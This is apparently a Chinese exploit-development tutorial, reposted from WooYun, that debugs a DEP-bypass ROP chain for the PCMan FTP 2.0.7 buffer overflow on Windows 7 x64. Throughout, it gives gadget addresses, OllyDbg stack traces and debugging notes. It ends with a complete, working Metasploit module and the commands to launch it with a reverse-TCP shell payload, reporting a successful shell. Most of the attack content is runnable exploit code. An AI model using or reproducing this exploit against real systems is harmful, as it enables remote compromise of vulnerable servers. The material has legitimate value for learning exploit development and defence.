      0x76969312,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [ole32.dll] 
      0x753c6833,  # XCHG EAX,ESI # RETN [KERNELBASE.dll] 
      0x76b5e6e8,  # POP EBP # RETN [msvcrt.dll] 
      0x74916f14,  # & push esp # ret  [RICHED20.dll]
      0x76b93866,  # POP EAX # RETN [msvcrt.dll] 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x76bb2fd0,  # NEG EAX # RETN [MSCTF.dll] 
      0x7727060d,  # XCHG EAX,EBX # RETN [OLEAUT32.DLL] 
      0x027f509d,  # POP EAX # RETN [knb3rdhmpg.dll] 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x717d1e67,  # NEG EAX # RETN [winrnr.dll] 
      0x753fd586,  # XCHG EAX,EDX # RETN [comdlg32.dll] 
      0x759e9941,  # POP ECX # RETN [SHELL32.dll] 
      0x7647d27c,  # &Writable location [USP10.dll]
      0x759d4aad,  # POP EDI # RETN [SHELL32.dll] 
      0x76cc4404,  # RETN (ROP NOP) [USER32.dll]
      0x7364681f,  # POP EAX # RETN [COMCTL32.dll] 
      0x90909090,  # nop
      0x772b73df,  # PUSHAD # RETN [OLEAUT32.DLL] 
    ].flatten.pack("V*")

    return rop_gadgets

end

在pcmanftp中,重启系统后在上面的exploit.rb中将offset由2007改成2008,有可能是重启导致的一个字节的相差

mona中给出rop_gadgets只是参考的rop,并不代表一定可用,且最新v2版本似乎有点错误,mona算出的rop_gadgets中的第一个地址0x027c9a7a在od中ctrl+g查看一下发现不是对应pop ecx,retn的地址,且有一些地址是执行会产生问题的,这时需要结合od在实际情况中调试

实际调试中发现上面的第10个地址0x7727060d对应的XCHG EAX,EBX+retn在od中ctrl+g:7727060d确实是对应xchg eax,ebx+retn指令的,但是如果第10个地址用7727060d,在od跟踪pcmanftp(在402a26处下断,并f7,再f8,f8,...)中00402a26处的call 403e60后(402a26处的call 403e60汇编语句的下一句汇编语句的地址为402a2b,在上面dep off的实验中是堆栈窗口中的18ed64处的402a2b被改成jmp esp的地址)发现堆栈窗口中从18ed64处开始的对应的第10个地址会被改写,比较奇怪,认为是这个地址出了问题,从rop_suggestions.txt中找另外的XCHG EAX,EBX+RETN对应的地址代替后不会有这个问题

pcmanftp中的关键断点:

00402a26处的call 403e60
    403e60函数帧里面的403ee6处的call 00412cbf
        412cbf函数帧里面的412ce8处的call 00416c5c

继续od跟踪看哪些地址还需修改

运行pcmanftp后od附加,在00402a26处下断,msf发送包含下面rop_gadgets的数据到192.168.3.177

#!python
def create_rop_chain()
    rop_gadgets = 
    [
      0x778a45e1,  # POP ECX # RETN [knb3rdhmpg.dll] 
      0x73c112d0,  # ptr to &VirtualProtect() [IAT OLEACC.dll]
      0x76969312,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [ole32.dll] 
      0x753c6833,  # XCHG EAX,ESI # RETN [KERNELBASE.dll] 
      0x76b5e6e8,  # POP EBP # RETN [msvcrt.dll] 
      0x74916f14,  # & push esp # ret  [RICHED20.dll]
      0x76b93866,  # POP EAX # RETN [msvcrt.dll] 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x76bb2fd0,  # NEG EAX # RETN [MSCTF.dll] 
      0x756bd259,  # XCHG EAX,EBX # RETN [OLEAUT32.DLL] 
      0x74923ca7,  # POP EAX # RETN [knb3rdhmpg.dll] 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x76cc4402,  # NEG EAX # RETN [winrnr.dll] 
      0x753fd586,  # XCHG EAX,EDX # RETN [comdlg32.dll] 
      0x759e9941,  # POP ECX # RETN [SHELL32.dll] 
      0x7647d27c,  # &Writable location [USP10.dll]
      0x759d4aad,  # POP EDI # RETN [SHELL32.dll] 
      0x76cc4404,  # RETN (ROP NOP) [USER32.dll]
      0x7364681f,  # POP EAX # RETN [COMCTL32.dll] 
      0x90909090,  # nop
      0x772b73df,  # PUSHAD # RETN [OLEAUT32.DLL] 
    ].flatten.pack("V*")
    return rop_gadgets
  end

其中向192.168.3.177中pcmanftp发送的数据在下面的sploit变量中:

#!python
sploit = rand_text_alpha(target['Offset'])

    #tmp = sploit
    #print_status(tmp)
    sploit << create_rop_chain()
    sploit << make_nops(30)
    sploit << "\xcc"
    sploit << payload.encoded

在msf发送完数据时,要在od中ctrl+v---|||||>t---|||||>resume all threads,原因见上面dep off情况中的分析

resume all threads后,pcmanftp中断在00402a26,f9再运行到00402a26,此时开始处理sploit变量中的send_cmd( ["ls", sploit], false ),第一次中断到402a26处为处理anonymous登录相关的字符串

此时汇编窗口中的数据如下所示,eip=402a26

#!bash
00402A26    E8 35140000     call PCManFTP.00403E60
00402A2B    8A46 03         mov al,byte ptr ds:[esi+0x3]
00402A2E    84C0            test al,al
00402A30    75 04           jnz short PCManFTP.00402A36
00402A32    C646 03 20      mov byte ptr ds:[esi+0x3],0x20
00402A36    56              push esi
00402A37    8BCD            mov ecx,ebp
00402A39    E8 22000000     call PCManFTP.00402A60
00402A3E    68 DC114400     push PCManFTP.004411DC                   ; ASCII "
"
00402A43    6A 00           push 0x0
00402A45    E8 0CFF0000     call PCManFTP.00412956
00402A4A    8BF0            mov esi,eax
00402A4C    83C4 08         add esp,0x8
00402A4F    85F6            test esi,esi
00402A51  ^ 75 A6           jnz short PCManFTP.004029F9
00402A53    5F              pop edi                                  ; 0018ED78
00402A54    5E              pop esi                                  ; 0018ED78
00402A55    5D              pop ebp                                  ; 0018ED78
00402A56    81C4 04100000   add esp,0x1004
00402A5C    C2 0400         retn 0x4

此时堆栈中18ed64处的返回地址还没有被覆盖,如下所示:

#!bash
0018ED5C   00000000
0018ED60   00000000
0018ED64   00402A05  PCManFTP.00402A05
0018ED68   0018ED78  ASCII "LS XnVkIvmqpcmSqSVEClMqFIHQzEBjHrHLdzEnDtwxDnbcqTqseEHLARmjMQrGaiNEnQpxxbUisIZaqPwjoePQmmCPMzhAZDIhYffDXdhLCrWCyhuidqcfuMFhMZecDDopTpMGWcQShqwfgLoDFfnSHbUvoEMVuDLiFEYfaTFfCAAoDuwasvaujuFloUrmoYzyyWqkvXOxkMBqUsTwpPZkbQalYgrryMvEeYywOCAiJv"...
0018ED6C   00000402
0018ED70   00000000

其中0018ed5c处的返回地址已经被覆盖成00000000,18ed68处的的指针对应的是msf中的sploit变量的数据

od中f7进入403e60函数帧:

#!bash
00403E60    A1 40354400     mov eax,dword ptr ds:[0x443540]
00403E65    81EC 14080000   sub esp,0x814
00403E6B    85C0            test eax,eax
00403E6D    56              push esi
00403E6E    57              push edi
00403E6F    8BF1            mov esi,ecx
00403E71    75 0D           jnz short PCManFTP.00403E80
00403E73    A1 48354400     mov eax,dword ptr ds:[0x443548]
00403E78    85C0            test eax,eax
00403E7A    0F84 31010000   je PCManFTP.00403FB1
00403E80    8D4424 08       lea eax,dword ptr ss:[esp+0x8]
00403E84    50              push eax
00403E85    FF15 A8524300   call dword ptr ds:[<&KERNEL32.GetLocalTi>; kernel32.GetLocalTime
00403E8B    8B46 24         mov eax,dword ptr ds:[esi+0x24]
00403E8E    85C0            test eax,eax
00403E90    74 05           je short PCManFTP.00403E97
00403E92    8B40 08         mov eax,dword ptr ds:[eax+0x8]
00403E95    EB 03           jmp short PCManFTP.00403E9A
00403E97    8B46 04         mov eax,dword ptr ds:[esi+0x4]
00403E9A    8BBC24 20080000 mov edi,dword ptr ss:[esp+0x820]
00403EA1    8B5424 12       mov edx,dword ptr ss:[esp+0x12]
00403EA5    8B4E 0C         mov ecx,dword ptr ds:[esi+0xC]
00403EA8    57              push edi
00403EA9    50              push eax
00403EAA    8B4424 18       mov eax,dword ptr ss:[esp+0x18]
00403EAE    81E2 FFFF0000   and edx,0xFFFF
00403EB4    51              push ecx
00403EB5    8B4C24 1A       mov ecx,dword ptr ss:[esp+0x1A]
00403EB9    25 FFFF0000     and eax,0xFFFF
00403EBE    52              push edx
00403EBF    8B5424 1A       mov edx,dword ptr ss:[esp+0x1A]
00403EC3    50              push eax
00403EC4    8B4424 1C       mov eax,dword ptr ss:[esp+0x1C]
00403EC8    81E1 FFFF0000   and ecx,0xFFFF
00403ECE    81E2 FFFF0000   and edx,0xFFFF
00403ED4    51              push ecx
00403ED5    25 FFFF0000     and eax,0xFFFF
00403EDA    52              push edx
00403EDB    50              push eax
00403EDC    8D4C24 3C       lea ecx,dword ptr ss:[esp+0x3C]
00403EE0    68 D4164400     push PCManFTP.004416D4                   ; ASCII "%d/%d/%d [%02d:%02d] (%05d) %s> %s
"
00403EE5    51              push ecx
00403EE6    E8 D4ED0000     call PCManFTP.00412CBF
00403EEB    8B0D 14354400   mov ecx,dword ptr ds:[0x443514]
00403EF1    83C4 28         add esp,0x28
00403EF4    83F9 FF         cmp ecx,-0x1
00403EF7    74 14           je short PCManFTP.00403F0D
00403EF9    8D5424 18       lea edx,dword ptr ss:[esp+0x18]
00403EFD    6A 00           push 0x0
00403EFF    52              push edx
00403F00    50              push eax
00403F01    8D4424 28       lea eax,dword ptr ss:[esp+0x28]
00403F05    50              push eax
00403F06    51              push ecx
00403F07    FF15 C8524300   call dword ptr ds:[<&KERNEL32.WriteFile>>; kernel32.WriteFile
00403F0D    A1 48354400     mov eax,dword ptr ds:[0x443548]
00403F12    85C0            test eax,eax
00403F14    0F84 97000000   je PCManFTP.00403FB1
00403F1A    E8 1FCC0100     call PCManFTP.00420B3E
00403F1F    85C0            test eax,eax
00403F21    0F84 8A000000   je PCManFTP.00403FB1
00403F27    8B10            mov edx,dword ptr ds:[eax]
00403F29    8BC8            mov ecx,eax
00403F2B    FF52 74         call dword ptr ds:[edx+0x74]
00403F2E    85C0            test eax,eax
00403F30    74 7F           je short PCManFTP.00403FB1
00403F32    0FBE07          movsx eax,byte ptr ds:[edi]
00403F35    50              push eax
00403F36    E8 25EF0000     call PCManFTP.00412E60
00403F3B    83C4 04         add esp,0x4
00403F3E    85C0            test eax,eax
00403F40    74 4A           je short PCManFTP.00403F8C
00403F42    E8 F7CB0100     call PCManFTP.00420B3E
00403F47    85C0            test eax,eax
00403F49    74 23           je short PCManFTP.00403F6E
00403F4B    8B10            mov edx,dword ptr ds:[eax]
00403F4D    8BC8            mov ecx,eax
00403F4F    FF52 74         call dword ptr ds:[edx+0x74]
00403F52    8D4C24 1C       lea ecx,dword ptr ss:[esp+0x1C]
00403F56    51              push ecx
00403F57    68 00800000     push 0x8000
00403F5C    8BC8            mov ecx,eax
00403F5E    E8 8D5D0000     call PCManFTP.00409CF0
00403F63    5F              pop edi                                  ; PCManFTP.00402A2B
00403F64    5E              pop esi                                  ; PCManFTP.00402A2B
00403F65    81C4 14080000   add esp,0x814
00403F6B    C2 0400         retn 0x4

一直f8到上面403ee6处的call 00412cbf,暂时不跟进,再按f8之后将完成18ed64处的返回地址被覆盖

f8后18ed64处的覆盖内容如下:

#!bash    
0018ED5C   564F514E  #此时此处的原来被覆盖成00000000的wsock.revc函数的返回地址被覆盖成另外的值
0018ED60   6475586A
0018ED64   778A45E1  返回到 ntdll_12.778A45E1 来自 ntdll_12.DbgPrint
0018ED68   73C112D0  <&KERNEL32.VirtualProtect>
0018ED6C   76969312  ole32.76969312
0018ED70   753C6833  返回到 KernelBa.753C6833
0018ED74   76B5E6E8  msvcrt.76B5E6E8
0018ED78   74916F14  riched20.74916F14
0018ED7C   76B93866  msvcrt.76B93866
0018ED80   FFFFFDFF
0018ED84   76BB2FD0  msctf.76BB2FD0
0018ED88   756BD259  shell32.756BD259
0018ED8C   74923CA7  riched20.74923CA7
0018ED90   FFFFFFC0
0018ED94   76CC4402  user32.76CC4402
0018ED98   753FD586  comdlg32.753FD586
0018ED9C   759E9941  返回到 shell32.759E9941 来自 shell32.756DC254
0018EDA0   7647D27C  usp10.7647D27C
0018EDA4   759D4AAD  shell32.759D4AAD
0018EDA8   76CC4404  user32.76CC4404
0018EDAC   7364681F  comctl32.7364681F
0018EDB0   90909090
0018EDB4   772B73DF  oleaut32.772B73DF
0018EDB8   939F4848
0018EDBC   3F9BD691
0018EDC0   4E274E37
0018EDC4   D6439937
0018EDC8   4B484393
0018EDCC   91FDF948
0018EDD0   479FFC4E
0018EDD4   F8CC4691

其中rop_gadgets数据已经完全和发送的一样,而rop_gadgets后0018edb8处开始到0018edd5原来应该是30个nop+"\xcc",其中的30个nop数据不是nop数据了,"\xcc"没变

在od中ctrl+f9运行到retn,然后再f8,此时eip=rop_gadgets中第一个数据,然后再f8..f8看看哪里会出问题

f8跟踪到0018edb4处的772b73df,772b73df中的指令为pushad retn,可想,执行完pushad后esp就上移了,这样再retn的话retn到的便不是rop_gadgets中的原来的应该是30个nop处的地方(现在被改写了,不再是30个nop)

觉得是mona的错误,不应该在最后加个poshad+retn的地址,将rop_gadgets中最后的pushad+retn的地址删除后再重新发送sploit数据并跟踪到rop_gadgets中第一个数据,然后再f8..f8看看哪里会出问题

再次进入到rop_gadgets中的第一个地址778a45e1处,此时eip=778a45e1,堆栈窗口中的18ed64处的数据为:

#!bash
0018ED64   778A45E1  ntdll_12.778A45E1
0018ED68   73C112D0  <&KERNEL32.VirtualProtect>
0018ED6C   76969312  ole32.76969312
0018ED70   753C6833  返回到 KernelBa.753C6833
0018ED74   76B5E6E8  msvcrt.76B5E6E8
0018ED78   74916F14  riched20.74916F14
0018ED7C   76B93866  msvcrt.76B93866
0018ED80   FFFFFDFF
0018ED84   76BB2FD0  msctf.76BB2FD0
0018ED88   756BD259  shell32.756BD259
0018ED8C   74923CA7  riched20.74923CA7
0018ED90   FFFFFFC0
0018ED94   76CC4402  user32.76CC4402
0018ED98   753FD586  comdlg32.753FD586
0018ED9C   759E9941  返回到 shell32.759E9941 来自 shell32.756DC254
0018EDA0   7647D27C  usp10.7647D27C
0018EDA4   759D4AAD  shell32.759D4AAD
0018EDA8   76CC4404  user32.76CC4404
0018EDAC   7364681F  comctl32.7364681F
0018EDB0   90909090
0018EDB4   4A4E96F5
0018EDB8   4841F59B
0018EDBC   48FD4B99
0018EDC0   93909899
0018EDC4   93989B4F
0018EDC8   904242F9
0018EDCC   98379648
0018EDD0   90CC2797

对比观察发现rop_gadgets中的地址还没开始执行(eip=778a45e1)时,后面的rop_gadgets数据不变,但是后面30个nop还是被改成其他数据,尝试将后面的30个nop改成41414141...再次跟踪到eip=rop_gadgets中的第一个地址778a45e1时,堆栈窗口中的数据如下:

#!bash
0018ED64   778A45E1  ntdll_12.778A45E1
0018ED68   73C112D0  <&KERNEL32.VirtualProtect>
0018ED6C   76969312  ole32.76969312
0018ED70   753C6833  返回到 KernelBa.753C6833
0018ED74   76B5E6E8  msvcrt.76B5E6E8
0018ED78   74916F14  riched20.74916F14
0018ED7C   76B93866  msvcrt.76B93866
0018ED80   FFFFFDFF
0018ED84   76BB2FD0  msctf.76BB2FD0
0018ED88   756BD259  shell32.756BD259
0018ED8C   74923CA7  riched20.74923CA7
0018ED90   FFFFFFC0
0018ED94   76CC4402  user32.76CC4402
0018ED98   753FD586  comdlg32.753FD586
0018ED9C   759E9941  返回到 shell32.759E9941 来自 shell32.756DC254
0018EDA0   7647D27C  usp10.7647D27C
0018EDA4   759D4AAD  shell32.759D4AAD
0018EDA8   76CC4404  user32.76CC4404
0018EDAC   7364681F  comctl32.7364681F
0018EDB0   90909090
0018EDB4   41414141
0018EDB8   41414141
0018EDBC   41414141
0018EDC0   41414141
0018EDC4   41414141
0018EDC8   41414141
0018EDCC   41414141
0018EDD0   4FCC4141

发现这时后面的30个41还是正常的没有被改变的,这样说明应该是win7x64位系统下开户dep后,栈中覆盖好的nop串会被改变成其他随机的填充数据,也有可能是nop串太长为30个时才会这样,考虑到上一篇文中

http://xinghuacai.github.io/%E4%BA%8C%E8%BF%9B%E5%88%B6/2016/06/04/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%85%A5%E9%97%A8-%E5%8A%A8%E6%80%81%E8%B7%9F%E8%B8%AA%E6%BA%90%E4%BB%A3%E7%A0%81%E5%92%8C%E5%8F%8D%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81/

提到msf的payload前面有可能需要至少9个nop空间帮助完成payload的解码等工作,将30个nop改成9个nop试试9个nop会不会被改成随机的填充数据

再次重新跟踪到eip=rop_gadgets中的第一个地址时,18ed64处的数据为:

#!bash
0018ED64   778A45E1  ntdll_12.778A45E1
0018ED68   73C112D0  <&KERNEL32.VirtualProtect>
0018ED6C   76969312  ole32.76969312
0018ED70   753C6833  返回到 KernelBa.753C6833
0018ED74   76B5E6E8  msvcrt.76B5E6E8
0018ED78   74916F14  riched20.74916F14
0018ED7C   76B93866  msvcrt.76B93866
0018ED80   FFFFFDFF
0018ED84   76BB2FD0  msctf.76BB2FD0
0018ED88   756BD259  shell32.756BD259
0018ED8C   74923CA7  riched20.74923CA7
0018ED90   FFFFFFC0
0018ED94   76CC4402  user32.76CC4402
0018ED98   753FD586  comdlg32.753FD586
0018ED9C   759E9941  返回到 shell32.759E9941 来自 shell32.756DC254
0018EDA0   7647D27C  usp10.7647D27C
0018EDA4   759D4AAD  shell32.759D4AAD
0018EDA8   76CC4404  user32.76CC4404
0018EDAC   7364681F  comctl32.7364681F
0018EDB0   90909090
0018EDB4   4E43F842
0018EDB8   D64348F9
0018EDBC   4B46CCFD

发现9个nop还是会被填充成随机数据(后来发现不是被win7x64系统的安全保护填充的,而是因为msf自带的nop有好几种,不只是9090,其他应该是类似的花指令),\xcc到是一直没有被改写,试着不要9个nop了,将原来rop_gadges中的pushad+retn指令的地址改成一条jmp esp指令的地址,并在该地址后接payload数据,上面的dep off时的exploit.rb中的jmp esp的地址76061b1b在dep on时为call esp汇编语句的地址,不用在od中查找其他的了,call esp也可跳到后面的pyaload执行

发送如下的rop_gadgets数据+不要nop+不要\xcc的数据到pcmanftp:

#!python
def create_rop_chain()
        rop_gadgets = 
        [
          0x778a45e1,  # POP ECX # RETN [knb3rdhmpg.dll] 
          0x73c112d0,  # ptr to &VirtualProtect() [IAT OLEACC.dll]
          0x76969312,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [ole32.dll] 
          0x753c6833,  # XCHG EAX,ESI # RETN [KERNELBASE.dll] 
          0x76b5e6e8,  # POP EBP # RETN [msvcrt.dll] 
          0x74916f14,  # & push esp # ret  [RICHED20.dll]
          0x76b93866,  # POP EAX # RETN [msvcrt.dll] 
          0xfffffdff,  # Value to negate, will become 0x00000201
          0x76bb2fd0,  # NEG EAX # RETN [MSCTF.dll] 
          0x756bd259,  # XCHG EAX,EBX # RETN [OLEAUT32.DLL] 
          0x74923ca7,  # POP EAX # RETN [knb3rdhmpg.dll] 
          0xffffffc0,  # Value to negate, will become 0x00000040
          0x76cc4402,  # NEG EAX # RETN [winrnr.dll] 
          0x753fd586,  # XCHG EAX,EDX # RETN [comdlg32.dll] 
          0x759e9941,  # POP ECX # RETN [SHELL32.dll] 
          0x7647d27c,  # &Writable location [USP10.dll]
          0x759d4aad,  # POP EDI # RETN [SHELL32.dll] 
          0x76cc4404,  # RETN (ROP NOP) [USER32.dll]
          0x7364681f,  # POP EAX # RETN [COMCTL32.dll] 
          0x90909090,  # nop
          #0x772b73df,  # PUSHAD # RETN [OLEAUT32.DLL] 
          0x76061b1b,  #call esp
        ].flatten.pack("V*")
        return rop_gadgets
      end


      def exploit
        connect_login

        print_status('Generating payload...')
        sploit = rand_text_alpha(target['Offset'])

        #tmp = sploit
        #print_status(tmp)
        sploit << create_rop_chain()
        #sploit << make_nops(9)
        #sploit << "\x41"*30
        #sploit << "\xcc"
        sploit << payload.encoded

        tmp=sploit
        print_status(tmp)

        send_cmd( ["ls", sploit], false )
        disconnect
      end
    end

再次跟踪到rop_gadges中的第一个地址,再f8直到上面sploit变量中的rop_gadget中的最后一个地址call esp的地址处程序报错,异常偏移为00a31b1b,难道是rop_gadgets中的地址串执行后没有实现后面的payload为栈中可执行?

再次跟踪到rop_gadgets中的所有地址,发现最后jmp esp执行后程序报错,报出0018edb8处为异常偏移,而0018edb8处为payload开始的对应的堆栈窗口中地址,且每次0018edb8中的数据都不同,难道连payload都被随机数填充了?

有比较大的可能性是执行完上面的rop_gadgets中的地址对应的指令后没有实现payload在栈中可执行,难道是不应该把mona生成的rop_gadges中的最后的pushad+retn对应的地址换成jmp esp的地址?

再看看相关mona的资料,后面的pushad + retn应该是存在的,具体原因见下图virtualprotect_rop中所示

图virtualprotect_rop

p23

mona生成的rop_gadgets中的最后一句中的pushad+retn指令的地址是必须的,正是通过pushad+retn的执行才可以导致virtualprotect的执行,实现的原理是在pushad之前将pushad的各个寄存器按照对应的顺序设置成刚好可以调用virtualprotect函数使后面的shellcode为可执行

后来调试在进入virtualprotect_rop前最后一个函数00403e60的返回语句是retn 4而不是retn,所以rop_gadgets中的第一个地址后要加一个过渡的值,这里取为0x41414141

#!bash
----------------------------00403e60--------------------------------
00402A26    E8 35140000     call PCManFTP.00403E60
00402A2B    8A46 03         mov al,byte ptr ds:[esi+0x3]


    00403E60    A1 40354400     mov eax,dword ptr ds:[0x443540]
    00403E65    81EC 14080000   sub esp,0x814
    00403E6B    85C0            test eax,eax
    ...
    ...
    ...
    00403FB1    5F              pop edi        ; kernel32.77032C3B
    00403FB2    5E              pop esi        ; kernel32.77032C3B
    00403FB3    81C4 14080000   add esp,0x814
    00403FB9    C2 0400         retn 0x4
-------------------------------end-----------------------------------

在mona生成的最后rop_chains.txt文件中有virutalalloc过dep的rop_gadgets,也有virtualprotect过dep的rop_gadgets,刚开始以为是mona出错了,后来发现是用到了mona里面的virtualalloc过dep方式

0day2中提到下面几种方法过dep:

  1. ZwSetInformationProcess:利用api彻底关闭dep
  2. VirtualProtect:利用api设置shellcode所在的内存空间为可执行
  3. VirtualAlloc:利用api申请可执行内存后将shellcode复制过去(需再用memcopy的api)
  4. 利用可执行内存挑战dep
  5. 利用.NET挑战dep
  6. 利用Java applet挑战dep

这里用的是2中的virtualprotect中的方法,mona生成的virtualalloc的方法应该是缺少了memcopy的chain,导致刚开始一直错误地以为mona错了

最后再用mona生成的rop_gadgets如下:(第二个地址为新添加的0x41414141)

#!python
rop_gadgets = 
[
  0x77032c3b,  # POP EAX # RETN [kernel32.dll] 
  0x41414141,  # added data to fit retn 4 from func 00403e60
  0x73c112d0,  # ptr to &VirtualProtect() [IAT OLEACC.dll]
  0x76bb4412,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSCTF.dll] 
  0x76408d2a,  # XCHG EAX,ESI # RETN [SHLWAPI.dll] 
  0x76b607f0,  # POP EBP # RETN [msvcrt.dll] 
  0x74916f14,  # & push esp # ret  [RICHED20.dll]
  0x7368b031,  # POP EAX # RETN [COMCTL32.dll] 
  0xffffddff,  # Value to negate, will become 0x00000201
  0x756c9a5c,  # NEG EAX # RETN [SHELL32.dll] 
  0x767088bd,  # XCHG EAX,EBX # RETN [RPCRT4.dll] 
  0x77031d7b,  # POP EAX # RETN [kernel32.dll] 
  0xffffffc0,  # Value to negate, will become 0x00000040
  0x76cc4402,  # NEG EAX # RETN [SHELL32.dll] 
  0x76b4ad98,  # XCHG EAX,EDX # RETN [SHELL32.dll] 
  0x756b1cc1,  # POP ECX # RETN [SHELL32.dll] 
  0x7647c663,  # &Writable location [USP10.dll]
  0x73756cf3,  # POP EDI # RETN [COMCTL32.dll] 
  0x76cc4404,  # RETN (ROP NOP) [USER32.dll]
  0x76b3f5d4,  # POP EAX # RETN [msvcrt.dll] 
  0x90909090,  # nop
  0x7366e16f,  # PUSHAD # RETN [COMCTL32.dll] 
].flatten.pack("V*")

再次开msf发payload,od附加,调试时发现如下图ebx_error错误

图ebx_error

p24

后来发现原来的mona中的virtualprotect是获得0x201(对应上面的0xffffddff,neg取反后为0x201)个可执行栈空间,以为是msf中的payload比这个长导致shellcode执行出错,后来将这个值设置为0xffffddff后没能关掉dep,应该是由于长度太大或许超过了栈空间的大小而导致virtualprotect函数的失败,于是没能成功关掉dep

后来将这个值设置成0xfffffaff(neg取反后的结果比0x201大),又可以关掉dep了,只是后面的shellcode执行还是不成功

怀疑有可能是像上图ebx_error中说的是ebx错了,也有可能是像0day2中说的ebp在溢出的过程中被破坏,这些只有再次从od中动态分析才可知

后来还是自己想多了,mona之所以称为神器,在于的确是神器,怎会轻易出错

换个payload马上成功,对msf还是不够熟悉!!一个payload不行可以换啊!!

最后的exploit.rb如下,改成mypcmanftp-anti-dep.rb,放到/msfdirectory/modules/exploit/windows/my/目录下后执行下面的命令:

#!bash
use exploit/windows/my/mypcmanftp-anti-dep
set payload windows/shell/reverse_tcp_rc4
set RC4PASSWORD mypassword
exploit

成功弹shell

#!python
----------------------------exploit.rb-------------------------------
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PCMAN FTP Server Buffer Overflow - PUT Command',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in the PUT command of the
          PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
          credientials are enabled.
      },
      'Author'         =>
          [
            'quanyechavshuo'
          ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'EDB',   '37731'],
          [ 'OSVDB',   '94624']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'Space'   => 1000,
          'BadChars'  => "\x00\x0A\x0D",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'windows 7 x64',
            {
              'Ret' => 0x77636aeb, # jmp esp C:\WINDOWS\system32\ntdll.dll
              'Offset' => 2008
            }
          ],
        ],
      'DisclosureDate' => 'Aug 07 2015',
      'DefaultTarget'  => 0))
  end

  def check
    connect_login
    disconnect

    if /220 PCMan's FTP Server 2\.0/ === banner
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = 
[
  0x77032c3b,  # POP EAX # RETN [kernel32.dll] 
  0x41414141,
  0x73c112d0,  # ptr to &VirtualProtect() [IAT OLEACC.dll]
  0x76bb4412,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSCTF.dll] 
  0x76408d2a,  # XCHG EAX,ESI # RETN [SHLWAPI.dll] 
  0x76b607f0,  # POP EBP # RETN [msvcrt.dll] 
  0x74916f14,  # & push esp # ret  [RICHED20.dll]
  0x7368b031,  # POP EAX # RETN [COMCTL32.dll] 
  0xfffffaff,  # Value to negate, will become 0x00000201
  0x756c9a5c,  # NEG EAX # RETN [SHELL32.dll] 
  0x767088bd,  # XCHG EAX,EBX # RETN [RPCRT4.dll] 
  0x77031d7b,  # POP EAX # RETN [kernel32.dll] 
  0xffffffc0,  # Value to negate, will become 0x00000040
  0x76cc4402,  # NEG EAX # RETN [SHELL32.dll] 
  0x76b4ad98,  # XCHG EAX,EDX # RETN [SHELL32.dll] 
  0x756b1cc1,  # POP ECX # RETN [SHELL32.dll] 
  0x7647c663,  # &Writable location [USP10.dll]
  0x73756cf3,  # POP EDI # RETN [COMCTL32.dll] 
  0x76cc4404,  # RETN (ROP NOP) [USER32.dll]
  0x76b3f5d4,  # POP EAX # RETN [msvcrt.dll] 
  0x90909090,  # nop 
  0x7366e16f,  # PUSHAD # RETN [COMCTL32.dll] 

].flatten.pack("V*")

return rop_gadgets

end


def exploit
    connect_login

    print_status('Generating payload...')
    sploit = rand_text_alpha(target['Offset'])

    #tmp = sploit
    #print_status(tmp)
    sploit << create_rop_chain()
    #sploit << make_nops(9) 这句产生的nop并非90
    sploit << "\x90"*30
    #sploit << "\x41"*30
    #sploit << "\xcc"
    sploit << payload.encoded

    #tmp=sploit
    tmp=make_nops(9)
    print_status(tmp)

    send_cmd( ["ls", sploit], false )
    disconnect
  end

end

p25

本文转载自:乌云知识库